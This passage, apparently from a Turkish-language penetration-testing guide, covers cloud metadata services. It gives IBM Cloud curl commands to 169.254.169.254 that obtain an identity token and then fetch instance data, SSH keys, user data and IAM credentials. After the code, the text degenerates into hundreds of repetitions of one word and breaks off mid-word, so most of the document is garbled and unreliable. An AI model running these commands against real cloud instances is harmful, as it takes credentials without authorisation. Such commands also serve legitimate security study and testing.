|
||
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
||
```
|
||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||
|
||
{% hint style="warning" %}
|
||
IBM'de varsayılan olarak meta veriler etkin değildir, bu nedenle bir IBM bulut sanal makinesinin içinde olsanız bile erişim sağlayamayabilirsiniz.
|
||
{% endhint %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
{% endcode %}
|
||
|
||
Çeşitli platformların meta veri hizmetlerine dair belgeler aşağıda açıklanmış olup, örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örnek
|